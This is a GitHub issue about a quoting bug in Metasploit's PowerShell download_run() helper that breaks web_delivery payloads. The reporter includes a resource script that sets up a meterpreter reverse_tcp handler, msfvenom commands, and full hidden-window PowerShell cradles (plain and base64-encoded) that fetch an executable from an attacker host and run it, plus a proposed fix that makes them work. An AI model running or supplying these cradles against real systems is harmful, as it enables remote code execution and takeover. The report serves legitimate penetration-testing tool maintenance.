Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Rex::Powershell::PshMethods.download_run() bad quoting result in non working payloads #18436

Closed
xl00t opened this issue Oct 7, 2023 · 6 comments
Labels
bug Stale Marks an issue as stale, to be closed if no action is taken

Comments

@xl00t
Copy link

xl00t commented Oct 7, 2023

Steps to reproduce

Using a custom rc script in order to replicate the behavior.

use exploit/multi/script/web_delivery
set TARGET 6
set payload windows/x64/meterpreter/reverse_tcp

set lhost eth0
set lport 443

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe

set EXE::Custom /tmp/msf/test.exe

set PSH-ForceTLS12 false
set PSH-EncodedCommand false

exploit -j -z

Output:

msfconsole -q -r /home/kali/.msf4/rc_scripts/test.rc
[*] Processing /home/kali/.msf4/rc_scripts/test.rc for ERB directives.
resource (/home/kali/.msf4/rc_scripts/test.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set TARGET 6
TARGET => 6
resource (/home/kali/.msf4/rc_scripts/test.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lhost eth0
lhost => eth0
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lport 443
lport => 443
resource (/home/kali/.msf4/rc_scripts/test.rc)> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set EXE::Custom /tmp/msf/test.exe
EXE::Custom => /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-ForceTLS12 false
PSH-ForceTLS12 => false
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-EncodedCommand false
PSH-EncodedCommand => false
resource (/home/kali/.msf4/rc_scripts/test.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.25:443 
[*] Using URL: http://192.168.1.25:8080/8mPdxBfuifrZN5
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.1.25:8080/8mPdxBfuifrZN5', $z); invoke-item $z

The problem is that the payload will only work when being executed on cmd interpreter.

If being run from powershell, the $z="echo ($env:temp+'\7dX4tlxd.exe')" part will resolve in an error because of the quoting will prevent the echo from occur.

in order to debug we will not use hidden window flag and run this command:
powershell.exe -nop -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; echo $z

  • cmd output:
    image
    normal behavior

  • powershell output:
    image
    non normal behavior

Because of this behavior we cant use base64 encoded payload.

Trying with set PSH-EncodedCommand true

output:

msfconsole -q -r /home/kali/.msf4/rc_scripts/test.rc
[*] Processing /home/kali/.msf4/rc_scripts/test.rc for ERB directives.
resource (/home/kali/.msf4/rc_scripts/test.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set TARGET 6
TARGET => 6
resource (/home/kali/.msf4/rc_scripts/test.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lhost eth0
lhost => eth0
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lport 443
lport => 443
resource (/home/kali/.msf4/rc_scripts/test.rc)> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set EXE::Custom /tmp/msf/test.exe
EXE::Custom => /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-ForceTLS12 false
PSH-ForceTLS12 => false
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-EncodedCommand true
PSH-EncodedCommand => true
resource (/home/kali/.msf4/rc_scripts/test.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.25:443 
[*] Using URL: http://192.168.1.25:8080/6Tv6DSv2iDrt6b
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e JABhAFkAVgA9ACIAZQBjAGgAbwAgACgAJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAcQBNAGQAUgBGAFYAVwBIAC4AZQB4AGUAJwApACIAOwAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADUAOgA4ADAAOAAwAC8ANgBUAHYANgBEAFMAdgAyAGkARAByAHQANgBiACcALAAgACQAYQBZAFYAKQA7ACAAaQBuAHYAbwBrAGUALQBpAHQAZQBtACAAJABhAFkAVgA=

debug:

image

as we pass echo (C:\Users\nobody\AppData\Local\Temp+'\7dX4tlxd.exe') to DownloadFile argument the payload break.

Remediation

Taking back our debug payload powershell.exe -nop -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; echo $z but removing double quoting for $z variable like this.
powershell.exe -nop -c $z=echo ($env:temp+'\7dX4tlxd.exe'); echo $z

output:

  • cmd
    image
    normal behavior

  • powershell
    image
    normal behavior

The quoting of the $z variable is done by Rex::Powershell::PshMethods.download_run() and if we remove it seems like everything will be fixed for this case.

https://github.com/rapid7/rex-powershell/blob/master/lib/rex/powershell/psh_methods.rb#L29-L32

Should be replaced by

def self.download_run(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^$z=#{target}; (new-object System.Net.WebClient).DownloadFile('#{src}', $z); invoke-item $z^
end

The others modules using the download_run() methods are those ones:

Seen their code this change shouldn't make a big differences but i will give a test tomorrow.

After change this is the output payload:
powershell.exe -nop -w hidden -c $z=echo ($env:temp+'\h68IJGBy.exe'); (new-object System.Net.WebClient).DownloadFile('http://192.168.1.25:8080/2qhMMfYRv', $z); invoke-item $z

Which work for both raw and encoded commands, in cmd and powershell

I wasnt sure if i were supposed to open an issue to metasploit or rex-powershell repo since both are affected, sorry if i do mistake

Metasploit version

Framework: 6.3.38-dev-b32fe19545
Console : 6.3.38-dev-b32fe19545

@xl00t
Copy link
Author

xl00t commented Oct 7, 2023

Example or payload run after fix:
image

@xl00t
Copy link
Author

xl00t commented Oct 7, 2023

image

@sempervictus
Copy link
Contributor

sempervictus commented Oct 13, 2023

Leaving comment here so i can dive into this a bit more when i have a sec. First glance though, the PSH syntax is missing a variable interpolation: $z="echo ($env:temp+'\7dX4tlxd.exe')" vs $z="echo ($($env:temp+'\7dX4tlxd.exe'))"

R7 folks: feel free to assign me if this is in fact a rex-powershell concern. I do have some deviation from upstream in quote handling but for very different reasons having to do with code embedding for in-memory compilation and the absurdity of MSFT's HEREDOC semantics.

@xl00t
Copy link
Author

xl00t commented Oct 20, 2023

Hey!
Thanks for reviewing my issues
I tested with variable interpolation and the behavior stay the same. But when stripping out the quotes it is working as expected again
Do you have other ideas ?

Copy link

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Nov 20, 2023
Copy link

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Stale Marks an issue as stale, to be closed if no action is taken
Projects
Archived in project
Development

No branches or pull requests

2 participants